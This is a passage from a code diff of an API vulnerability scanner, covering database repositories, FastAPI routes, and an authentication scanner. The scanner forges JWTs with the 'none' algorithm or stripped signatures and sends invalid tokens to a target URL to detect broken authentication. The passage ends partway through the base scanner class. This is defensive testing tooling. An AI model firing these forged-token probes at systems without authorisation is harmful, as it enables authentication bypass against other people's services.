||||
from ..models.Scan import Scan
|
||||
|
||||
|
||||
class ScanRepository:
|
||||
"""
|
||||
Repository for Scan database operations
|
||||
"""
|
||||
@staticmethod
|
||||
def create_scan(
|
||||
db: Session,
|
||||
user_id: int,
|
||||
target_url: str,
|
||||
commit: bool = True
|
||||
) -> Scan:
|
||||
"""
|
||||
Create a new scan
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID who initiated the scan
|
||||
target_url: Target URL to scan
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
Scan: Created scan instance
|
||||
"""
|
||||
scan = Scan(
|
||||
user_id = user_id,
|
||||
target_url = target_url,
|
||||
scan_date = datetime.now(UTC),
|
||||
)
|
||||
db.add(scan)
|
||||
if commit:
|
||||
db.commit()
|
||||
db.refresh(scan)
|
||||
return scan
|
||||
|
||||
@staticmethod
|
||||
def get_by_id(db: Session, scan_id: int) -> Scan | None:
|
||||
"""
|
||||
Get scan by ID with test results loaded
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID
|
||||
|
||||
Returns:
|
||||
Scan | None: Scan instance or None if not found
|
||||
"""
|
||||
return (
|
||||
db.query(Scan).options(
|
||||
joinedload(Scan.test_results)
|
||||
).filter(Scan.id == scan_id).first()
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def get_by_user(
|
||||
db: Session,
|
||||
user_id: int,
|
||||
skip: int = 0,
|
||||
limit: int | None = None
|
||||
) -> list[Scan]:
|
||||
"""
|
||||
Get all scans for a user with pagination.
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID
|
||||
skip: Number of records to skip
|
||||
limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)
|
||||
|
||||
Returns:
|
||||
list[Scan]: List of scans with test results
|
||||
"""
|
||||
if limit is None:
|
||||
limit = settings.DEFAULT_PAGINATION_LIMIT
|
||||
|
||||
return (
|
||||
db.query(Scan).options(
|
||||
joinedload(Scan.test_results)
|
||||
).filter(Scan.user_id == user_id).order_by(
|
||||
Scan.scan_date.desc()
|
||||
).offset(skip).limit(limit).all()
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def get_recent(db: Session,
|
||||
limit: int | None = None) -> list[Scan]:
|
||||
"""
|
||||
Get most recent scans across all users.
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
limit: Maximum number of scans to return (DEFAULT_PAGINATION_LIMIT)
|
||||
|
||||
Returns:
|
||||
list[Scan]: List of recent scans
|
||||
"""
|
||||
if limit is None:
|
||||
limit = settings.DEFAULT_PAGINATION_LIMIT
|
||||
|
||||
return (
|
||||
db.query(Scan).options(
|
||||
joinedload(Scan.test_results)
|
||||
).order_by(Scan.scan_date.desc()).limit(limit).all()
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def delete(
|
||||
db: Session,
|
||||
scan_id: int,
|
||||
commit: bool = True
|
||||
) -> bool:
|
||||
"""
|
||||
Delete a scan (cascades to test results).
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID to delete
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
bool: True if deleted, False if not found
|
||||
"""
|
||||
scan = ScanRepository.get_by_id(db, scan_id)
|
||||
if scan:
|
||||
db.delete(scan)
|
||||
if commit:
|
||||
db.commit()
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def count_by_user(db: Session, user_id: int) -> int:
|
||||
"""
|
||||
Count total scans for a user.
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID
|
||||
|
||||
Returns:
|
||||
int: Total number of scans
|
||||
"""
|
||||
return db.query(Scan).filter(Scan.user_id == user_id).count()
|
||||
|
|
@ -0,0 +1,177 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
TestResult repository for database operations
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from ..core.enums import (
|
||||
ScanStatus,
|
||||
Severity,
|
||||
TestType,
|
||||
)
|
||||
from ..models.TestResult import TestResult
|
||||
|
||||
|
||||
class TestResultRepository:
|
||||
"""
|
||||
Repository for TestResult database operations
|
||||
"""
|
||||
@staticmethod
|
||||
def create_test_result(
|
||||
db: Session,
|
||||
scan_id: int,
|
||||
*,
|
||||
test_name: TestType,
|
||||
status: ScanStatus,
|
||||
severity: Severity,
|
||||
details: str,
|
||||
evidence_json: dict[str,
|
||||
Any],
|
||||
recommendations_json: list[str],
|
||||
commit: bool = True,
|
||||
) -> TestResult:
|
||||
"""
|
||||
Create a new test result.
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID this result belongs to
|
||||
test_name: Type of security test
|
||||
status: Test status (vulnerable, safe, error)
|
||||
severity: Vulnerability severity
|
||||
details: Detailed description
|
||||
evidence_json: Evidence data as JSON
|
||||
recommendations_json: List of recommendations
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
TestResult: Created test result instance
|
||||
"""
|
||||
test_result = TestResult(
|
||||
scan_id = scan_id,
|
||||
test_name = test_name,
|
||||
status = status,
|
||||
severity = severity,
|
||||
details = details,
|
||||
evidence_json = evidence_json,
|
||||
recommendations_json = recommendations_json,
|
||||
)
|
||||
db.add(test_result)
|
||||
if commit:
|
||||
db.commit()
|
||||
db.refresh(test_result)
|
||||
return test_result
|
||||
|
||||
@staticmethod
|
||||
def bulk_create(
|
||||
db: Session,
|
||||
test_results: list[TestResult],
|
||||
commit: bool = True
|
||||
) -> list[TestResult]:
|
||||
"""
|
||||
Create multiple test results in bulk
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
test_results: List of TestResult instances to create
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
list[TestResult]: Created test result instances
|
||||
"""
|
||||
db.add_all(test_results)
|
||||
if commit:
|
||||
db.commit()
|
||||
for result in test_results:
|
||||
db.refresh(result)
|
||||
return test_results
|
||||
|
||||
@staticmethod
|
||||
def get_by_scan(db: Session, scan_id: int) -> list[TestResult]:
|
||||
"""
|
||||
Get all test results for a specific scan
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID
|
||||
|
||||
Returns:
|
||||
list[TestResult]: List of test results for the scan
|
||||
"""
|
||||
return (
|
||||
db.query(TestResult).filter(
|
||||
TestResult.scan_id == scan_id
|
||||
).order_by(TestResult.created_at.asc()).all()
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def get_by_status(db: Session,
|
||||
scan_id: int,
|
||||
status: ScanStatus) -> list[TestResult]:
|
||||
"""
|
||||
Get test results by status for a scan
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID
|
||||
status: Status to filter by
|
||||
|
||||
Returns:
|
||||
list[TestResult]: Filtered test results
|
||||
"""
|
||||
return (
|
||||
db.query(TestResult).filter(
|
||||
TestResult.scan_id == scan_id,
|
||||
TestResult.status == status
|
||||
).all()
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def get_vulnerabilities(db: Session,
|
||||
scan_id: int) -> list[TestResult]:
|
||||
"""
|
||||
Get only vulnerable test results for a scan
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID
|
||||
|
||||
Returns:
|
||||
list[TestResult]: Vulnerable test results only
|
||||
"""
|
||||
return TestResultRepository.get_by_status(
|
||||
db,
|
||||
scan_id,
|
||||
ScanStatus.VULNERABLE
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def delete_by_scan(
|
||||
db: Session,
|
||||
scan_id: int,
|
||||
commit: bool = True
|
||||
) -> int:
|
||||
"""
|
||||
Delete all test results for a scan
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
int: Number of test results deleted
|
||||
"""
|
||||
count = (
|
||||
db.query(TestResult).filter(
|
||||
TestResult.scan_id == scan_id
|
||||
).delete()
|
||||
)
|
||||
if commit:
|
||||
db.commit()
|
||||
return count
|
||||
|
|
@ -0,0 +1,147 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
User repository for database operations
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from ..config import settings
|
||||
from ..models.User import User
|
||||
|
||||
|
||||
class UserRepository:
|
||||
"""
|
||||
Repository for User database operations
|
||||
"""
|
||||
@staticmethod
|
||||
def get_by_id(db: Session, user_id: int) -> User | None:
|
||||
"""
|
||||
Get user by ID
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID
|
||||
|
||||
Returns:
|
||||
User | None: User instance or None if not found
|
||||
"""
|
||||
return db.query(User).filter(User.id == user_id).first()
|
||||
|
||||
@staticmethod
|
||||
def get_by_email(db: Session, email: str) -> User | None:
|
||||
"""
|
||||
Get user by email address
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
email: User email address
|
||||
|
||||
Returns:
|
||||
User | None: User instance or None if not found
|
||||
"""
|
||||
return db.query(User).filter(User.email == email).first()
|
||||
|
||||
@staticmethod
|
||||
def create_user(
|
||||
db: Session,
|
||||
email: str,
|
||||
hashed_password: str,
|
||||
commit: bool = True
|
||||
) -> User:
|
||||
"""
|
||||
Create a new user
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
email: User email address
|
||||
hashed_password: Bcrypt hashed password
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
User: Created user instance
|
||||
"""
|
||||
user = User(email = email, hashed_password = hashed_password)
|
||||
db.add(user)
|
||||
if commit:
|
||||
db.commit()
|
||||
db.refresh(user)
|
||||
return user
|
||||
|
||||
@staticmethod
|
||||
def get_all_active(
|
||||
db: Session,
|
||||
skip: int = 0,
|
||||
limit: int | None = None
|
||||
) -> list[User]:
|
||||
"""
|
||||
Get all active users with pagination
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
skip: Number of records to skip
|
||||
limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)
|
||||
|
||||
Returns:
|
||||
list[User]: List of active users
|
||||
"""
|
||||
if limit is None:
|
||||
limit = settings.DEFAULT_PAGINATION_LIMIT
|
||||
|
||||
return (
|
||||
db.query(User).filter(User.is_active
|
||||
).offset(skip).limit(limit).all()
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def update_active_status(
|
||||
db: Session,
|
||||
user_id: int,
|
||||
is_active: bool,
|
||||
commit: bool = True
|
||||
) -> User | None:
|
||||
"""
|
||||
Update user active status
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID
|
||||
is_active: New active status
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
User | None: Updated user or None if not found
|
||||
"""
|
||||
user = UserRepository.get_by_id(db, user_id)
|
||||
if user:
|
||||
user.is_active = is_active
|
||||
if commit:
|
||||
db.commit()
|
||||
db.refresh(user)
|
||||
return user
|
||||
|
||||
@staticmethod
|
||||
def delete(
|
||||
db: Session,
|
||||
user_id: int,
|
||||
commit: bool = True
|
||||
) -> bool:
|
||||
"""
|
||||
Delete a user
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID to delete
|
||||
commit: Whether to commit the transaction
|
||||
|
||||
Returns:
|
||||
bool: True if deleted, False if not found
|
||||
"""
|
||||
user = UserRepository.get_by_id(db, user_id)
|
||||
if user:
|
||||
db.delete(user)
|
||||
if commit:
|
||||
db.commit()
|
||||
return True
|
||||
return False
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
|
||||
# FastAPI and server
|
||||
fastapi>=0.109.0
|
||||
uvicorn[standard]>=0.27.0
|
||||
python-multipart>=0.0.6
|
||||
|
||||
# Database
|
||||
sqlalchemy>=2.0.25
|
||||
psycopg2-binary>=2.9.9
|
||||
alembic>=1.13.0
|
||||
|
||||
# Security
|
||||
passlib[bcrypt]>=1.7.4
|
||||
python-jose[cryptography]>=3.3.0
|
||||
bcrypt>=4.1.2
|
||||
|
||||
# HTTP client for scanners
|
||||
httpx>=0.26.0
|
||||
aiohttp>=3.9.0
|
||||
|
||||
# Settings management
|
||||
pydantic>=2.5.0
|
||||
pydantic-settings>=2.1.0
|
||||
python-dotenv>=1.0.0
|
||||
|
||||
# Utilities
|
||||
email-validator>=2.1.0
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
"""
|
||||
API route handlers
|
||||
"""
|
||||
|
||||
from .auth import router as auth_router
|
||||
from .scans import router as scans_router
|
||||
|
||||
__all__ = [
|
||||
"auth_router",
|
||||
"scans_router",
|
||||
]
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Authentication routes - registration and login
|
||||
"""
|
||||
|
||||
from fastapi import (
|
||||
APIRouter,
|
||||
Depends,
|
||||
Request,
|
||||
status,
|
||||
)
|
||||
from slowapi import Limiter
|
||||
from slowapi.util import get_remote_address
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from ..config import settings
|
||||
from ..core.database import get_db
|
||||
from ..schemas.user_schemas import (
|
||||
TokenResponse,
|
||||
UserCreate,
|
||||
UserLogin,
|
||||
UserResponse,
|
||||
)
|
||||
from ..services.auth_service import AuthService
|
||||
|
||||
|
||||
router = APIRouter(prefix="/auth", tags=["authentication"])
|
||||
limiter = Limiter(key_func=get_remote_address)
|
||||
|
||||
|
||||
@router.post(
|
||||
"/register",
|
||||
response_model=UserResponse,
|
||||
status_code=status.HTTP_201_CREATED,
|
||||
)
|
||||
@limiter.limit(settings.API_RATE_LIMIT_REGISTER)
|
||||
async def register(
|
||||
request: Request,
|
||||
user_data: UserCreate,
|
||||
db: Session = Depends(get_db),
|
||||
) -> UserResponse:
|
||||
"""
|
||||
Register a new user account
|
||||
"""
|
||||
return AuthService.register_user(db, user_data)
|
||||
|
||||
|
||||
@router.post(
|
||||
"/login",
|
||||
response_model=TokenResponse,
|
||||
status_code=status.HTTP_200_OK,
|
||||
)
|
||||
@limiter.limit(settings.API_RATE_LIMIT_LOGIN)
|
||||
async def login(
|
||||
request: Request,
|
||||
login_data: UserLogin,
|
||||
db: Session = Depends(get_db),
|
||||
) -> TokenResponse:
|
||||
"""
|
||||
Authenticate user and receive JWT token
|
||||
"""
|
||||
return AuthService.login_user(db, login_data)
|
||||
|
||||
|
|
@ -0,0 +1,100 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Scan routes - create, retrieve, and manage security scans
|
||||
"""
|
||||
|
||||
from fastapi import (
|
||||
APIRouter,
|
||||
Depends,
|
||||
Request,
|
||||
status,
|
||||
)
|
||||
from slowapi import Limiter
|
||||
from slowapi.util import get_remote_address
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from ..config import settings
|
||||
from ..core.database import get_db
|
||||
from ..core.dependencies import get_current_user
|
||||
from ..schemas.scan_schemas import (
|
||||
ScanRequest,
|
||||
ScanResponse,
|
||||
)
|
||||
from ..schemas.user_schemas import UserResponse
|
||||
from ..services.scan_service import ScanService
|
||||
|
||||
|
||||
router = APIRouter(prefix="/scans", tags=["scans"])
|
||||
limiter = Limiter(key_func=get_remote_address)
|
||||
|
||||
|
||||
@router.post(
|
||||
"/",
|
||||
response_model=ScanResponse,
|
||||
status_code=status.HTTP_201_CREATED,
|
||||
)
|
||||
@limiter.limit(settings.API_RATE_LIMIT_SCAN)
|
||||
async def create_scan(
|
||||
request: Request,
|
||||
scan_request: ScanRequest,
|
||||
db: Session = Depends(get_db),
|
||||
current_user: UserResponse = Depends(get_current_user),
|
||||
) -> ScanResponse:
|
||||
"""
|
||||
Create and execute a new security scan
|
||||
"""
|
||||
return ScanService.run_scan(db, current_user.id, scan_request)
|
||||
|
||||
|
||||
@router.get(
|
||||
"/",
|
||||
response_model=list[ScanResponse],
|
||||
status_code=status.HTTP_200_OK,
|
||||
)
|
||||
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
|
||||
async def get_user_scans(
|
||||
request: Request,
|
||||
skip: int = 0,
|
||||
limit: int | None = None,
|
||||
db: Session = Depends(get_db),
|
||||
current_user: UserResponse = Depends(get_current_user),
|
||||
) -> list[ScanResponse]:
|
||||
"""
|
||||
Get all scans for the authenticated user
|
||||
"""
|
||||
return ScanService.get_user_scans(db, current_user.id, skip, limit)
|
||||
|
||||
|
||||
@router.get(
|
||||
"/{scan_id}",
|
||||
response_model=ScanResponse,
|
||||
status_code=status.HTTP_200_OK,
|
||||
)
|
||||
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
|
||||
async def get_scan(
|
||||
request: Request,
|
||||
scan_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_user: UserResponse = Depends(get_current_user),
|
||||
) -> ScanResponse:
|
||||
"""
|
||||
Get a specific scan by ID
|
||||
"""
|
||||
return ScanService.get_scan_by_id(db, scan_id, current_user.id)
|
||||
|
||||
|
||||
@router.delete(
|
||||
"/{scan_id}",
|
||||
status_code=status.HTTP_204_NO_CONTENT,
|
||||
)
|
||||
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
|
||||
async def delete_scan(
|
||||
request: Request,
|
||||
scan_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_user: UserResponse = Depends(get_current_user),
|
||||
) -> None:
|
||||
"""
|
||||
Delete a scan by ID
|
||||
"""
|
||||
ScanService.delete_scan(db, scan_id, current_user.id)
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
"""Security scanner modules for API vulnerability testing"""
|
||||
|
||||
from .base_scanner import BaseScanner
|
||||
from .rate_limit_scanner import RateLimitScanner
|
||||
from .auth_scanner import AuthScanner
|
||||
from .sqli_scanner import SQLiScanner
|
||||
from .idor_scanner import IDORScanner
|
||||
|
||||
|
||||
__all__ = [
|
||||
"BaseScanner",
|
||||
"RateLimitScanner",
|
||||
"AuthScanner",
|
||||
"SQLiScanner",
|
||||
"IDORScanner",
|
||||
]
|
||||
|
|
@ -0,0 +1,381 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Authentication and authorization vulnerability scanner
|
||||
|
||||
OWASP API2:2023
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import json
|
||||
from typing import Any
|
||||
|
||||
from ..config import settings
|
||||
from ..core.enums import (
|
||||
ScanStatus,
|
||||
Severity,
|
||||
TestType,
|
||||
)
|
||||
from ..schemas.test_result_schemas import TestResultCreate
|
||||
|
||||
from .payloads import AuthPayloads
|
||||
from .base_scanner import BaseScanner
|
||||
|
||||
|
||||
class AuthScanner(BaseScanner):
|
||||
"""
|
||||
Tests for broken authentication vulnerabilities
|
||||
|
||||
Detects:
|
||||
- Missing authentication on endpoints
|
||||
- Weak/invalid token acceptance
|
||||
- JWT vulnerabilities (none algorithm, weak secrets)
|
||||
- Missing rate limiting on auth endpoints
|
||||
|
||||
Maps to OWASP API Security Top 10 2023: API2:2023
|
||||
"""
|
||||
|
||||
def scan(self) -> TestResultCreate:
|
||||
"""
|
||||
Execute authentication tests
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Scan result with findings
|
||||
"""
|
||||
missing_auth_test = self._test_missing_authentication()
|
||||
if missing_auth_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details="Endpoint accessible without authentication",
|
||||
evidence=missing_auth_test,
|
||||
severity=Severity.HIGH,
|
||||
recommendations=[
|
||||
"Require authentication for all sensitive endpoints",
|
||||
"Implement proper authentication middleware",
|
||||
"Return 401 Unauthorized for missing/invalid credentials",
|
||||
],
|
||||
)
|
||||
|
||||
if self.auth_token:
|
||||
jwt_test = self._test_jwt_vulnerabilities()
|
||||
if jwt_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details=f"JWT vulnerability: {jwt_test['vulnerability_type']}",
|
||||
evidence=jwt_test,
|
||||
severity=Severity.CRITICAL,
|
||||
recommendations=jwt_test.get(
|
||||
"recommendations",
|
||||
[
|
||||
"Properly validate JWT signatures",
|
||||
"Reject 'none' algorithm tokens",
|
||||
"Use strong secrets (256+ bits)",
|
||||
"Implement token expiration checks",
|
||||
],
|
||||
),
|
||||
)
|
||||
|
||||
invalid_token_test = self._test_invalid_token_handling()
|
||||
if invalid_token_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details="Invalid tokens accepted by endpoint",
|
||||
evidence=invalid_token_test,
|
||||
severity=Severity.HIGH,
|
||||
recommendations=[
|
||||
"Reject invalid/malformed tokens with 401 status",
|
||||
"Validate token format, signature, and expiration",
|
||||
"Log authentication failures for monitoring",
|
||||
],
|
||||
)
|
||||
|
||||
return TestResultCreate(
|
||||
test_name=TestType.AUTH,
|
||||
status=ScanStatus.SAFE,
|
||||
severity=Severity.INFO,
|
||||
details="Authentication properly implemented",
|
||||
evidence_json={
|
||||
"missing_auth_test": missing_auth_test,
|
||||
"invalid_token_test": invalid_token_test,
|
||||
},
|
||||
recommendations_json=[
|
||||
"Authentication is properly configured",
|
||||
"Consider implementing additional security measures (2FA, refresh tokens)",
|
||||
],
|
||||
)
|
||||
|
||||
def _test_missing_authentication(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test if endpoint requires authentication
|
||||
|
||||
Attempts to access endpoint without credentials.
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Test results
|
||||
"""
|
||||
session_without_auth = self.session.__class__()
|
||||
session_without_auth.headers.update(
|
||||
{
|
||||
"User-Agent": f"{settings.APP_NAME}/{settings.VERSION}",
|
||||
"Accept": "application/json",
|
||||
}
|
||||
)
|
||||
|
||||
try:
|
||||
response = session_without_auth.get(
|
||||
self.target_url,
|
||||
timeout=settings.SCANNER_CONNECTION_TIMEOUT,
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"status_code": response.status_code,
|
||||
"response_length": len(response.text),
|
||||
"description": "Endpoint accessible without authentication",
|
||||
}
|
||||
|
||||
if response.status_code in (401, 403):
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"status_code": response.status_code,
|
||||
"description": "Endpoint properly requires authentication",
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"status_code": response.status_code,
|
||||
"description": "Endpoint returned unexpected status",
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"error": str(e),
|
||||
"description": "Error testing authentication requirement",
|
||||
}
|
||||
|
||||
def _test_jwt_vulnerabilities(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test for common JWT vulnerabilities
|
||||
|
||||
Tests:
|
||||
- None algorithm acceptance
|
||||
- Signature removal
|
||||
- Weak secret detection (common patterns)
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: JWT vulnerability test results
|
||||
"""
|
||||
if not self.auth_token or self.auth_token.count(".") != 2:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "No valid JWT token provided",
|
||||
}
|
||||
|
||||
none_alg_test = self._test_none_algorithm()
|
||||
if none_alg_test["vulnerable"]:
|
||||
return none_alg_test
|
||||
|
||||
signature_removal_test = self._test_signature_removal()
|
||||
if signature_removal_test["vulnerable"]:
|
||||
return signature_removal_test
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"tests_performed": ["none_algorithm", "signature_removal"],
|
||||
"description": "No JWT vulnerabilities detected",
|
||||
}
|
||||
|
||||
def _test_none_algorithm(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test if server accepts JWT with 'none' algorithm
|
||||
|
||||
Critical vulnerability: allows unsigned tokens to be accepted.
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: None algorithm test results
|
||||
"""
|
||||
try:
|
||||
header, payload, signature = self.auth_token.split(".")
|
||||
|
||||
none_variants = AuthPayloads.get_jwt_none_variants()
|
||||
|
||||
for variant in none_variants:
|
||||
malicious_header = self._base64url_encode(
|
||||
json.dumps({"alg": variant, "typ": "JWT"})
|
||||
)
|
||||
|
||||
malicious_token = f"{malicious_header}.{payload}."
|
||||
|
||||
response = self.make_request(
|
||||
"GET",
|
||||
"/",
|
||||
headers={"Authorization": f"Bearer {malicious_token}"},
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"vulnerability_type": "JWT None Algorithm",
|
||||
"algorithm_variant": variant,
|
||||
"status_code": response.status_code,
|
||||
"recommendations": [
|
||||
"Reject tokens with 'none' algorithm (all case variations)",
|
||||
"Explicitly verify signature before accepting tokens",
|
||||
"Use allowlist of accepted algorithms",
|
||||
],
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "None algorithm properly rejected",
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"error": str(e),
|
||||
"description": "Error testing none algorithm",
|
||||
}
|
||||
|
||||
def _test_signature_removal(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test if server accepts JWT with signature removed
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Signature removal test results
|
||||
"""
|
||||
try:
|
||||
header, payload, signature = self.auth_token.split(".")
|
||||
|
||||
malicious_token = f"{header}.{payload}."
|
||||
|
||||
response = self.make_request(
|
||||
"GET",
|
||||
"/",
|
||||
headers={"Authorization": f"Bearer {malicious_token}"},
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"vulnerability_type": "JWT Signature Not Verified",
|
||||
"status_code": response.status_code,
|
||||
"recommendations": [
|
||||
"Require valid signature on all JWT tokens",
|
||||
"Reject tokens with missing or invalid signatures",
|
||||
"Implement proper JWT validation library",
|
||||
],
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "Signature removal properly rejected",
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"error": str(e),
|
||||
"description": "Error testing signature removal",
|
||||
}
|
||||
|
||||
def _test_invalid_token_handling(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test how server handles invalid/malformed tokens
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Invalid token handling test results
|
||||
"""
|
||||
invalid_tokens = AuthPayloads.INVALID_TOKEN_FORMATS
|
||||
|
||||
accepted_invalid = []
|
||||
|
||||
for invalid_token in invalid_tokens:
|
||||
try:
|
||||
response = self.make_request(
|
||||
"GET",
|
||||
"/",
|
||||
headers={"Authorization": f"Bearer {invalid_token}"},
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
accepted_invalid.append(
|
||||
{
|
||||
"token": invalid_token[:50],
|
||||
"status_code": response.status_code,
|
||||
}
|
||||
)
|
||||
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
if accepted_invalid:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"accepted_invalid_tokens": accepted_invalid,
|
||||
"count": len(accepted_invalid),
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "Invalid tokens properly rejected",
|
||||
"tokens_tested": len(invalid_tokens),
|
||||
}
|
||||
|
||||
def _base64url_decode(self, data: str) -> dict[str, Any]:
|
||||
"""
|
||||
Decode base64url-encoded JWT data
|
||||
|
||||
Args:
|
||||
data: Base64url-encoded string
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Decoded JSON data
|
||||
"""
|
||||
padding = 4 - (len(data) % 4)
|
||||
if padding != 4:
|
||||
data += "=" * padding
|
||||
|
||||
decoded = base64.urlsafe_b64decode(data)
|
||||
return json.loads(decoded)
|
||||
|
||||
def _base64url_encode(self, data: str) -> str:
|
||||
"""
|
||||
Encode data to base64url format
|
||||
|
||||
Args:
|
||||
data: String data to encode
|
||||
|
||||
Returns:
|
||||
str: Base64url-encoded string
|
||||
"""
|
||||
encoded = base64.urlsafe_b64encode(data.encode()).decode()
|
||||
return encoded.rstrip("=")
|
||||
|
||||
def _create_vulnerable_result(
|
||||
self,
|
||||
details: str,
|
||||
evidence: dict[str, Any],
|
||||
severity: Severity = Severity.HIGH,
|
||||
recommendations: list[str] | None = None,
|
||||
) -> TestResultCreate:
|
||||
"""
|
||||
Create a vulnerable scan result
|
||||
|
||||
Args:
|
||||
details: Vulnerability description
|
||||
evidence: Evidence dictionary
|
||||
severity: Vulnerability severity
|
||||
recommendations: List of remediation recommendations
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Vulnerable result
|
||||
"""
|
||||
return TestResultCreate(
|
||||
test_name=TestType.AUTH,
|
||||
status=ScanStatus.VULNERABLE,
|
||||
severity=severity,
|
||||
details=details,
|
||||
evidence_json=evidence,
|
||||
recommendations_json=recommendations or [],
|
||||
)
|
||||
|
|
@ -0,0 +1,284 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Base scanner class with common HTTP logic and evidence collection
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import time
|
||||
import random
|
||||
import statistics
|
||||
from typing import Any
|
||||
from urllib.parse import urljoin
|
||||
from abc import ABC, abstractmethod
|
||||
|
||||
import requests
|
||||
|
||||
from ..config import settings
|
||||
from ..schemas.test_result_schemas import TestResultCreate
|
||||
|
||||
|
||||
class BaseScanner(ABC):
|
||||
"""
|
||||
Abstract base class for all security scanners
|
||||
|
||||
Provides common HTTP functionality, request spacing, retry logic,
|
||||
and evidence collection. Specific scanners inherit and implement scan().
|
||||
"""
|
||||
def __init__(
|
||||
self,
|
||||
target_url: str,
|
||||
auth_token: str | None = None,
|
||||
max_requests: int | None = None,
|
||||
):
|
||||
"""
|
||||
Initialize scanner with target and configuration
|
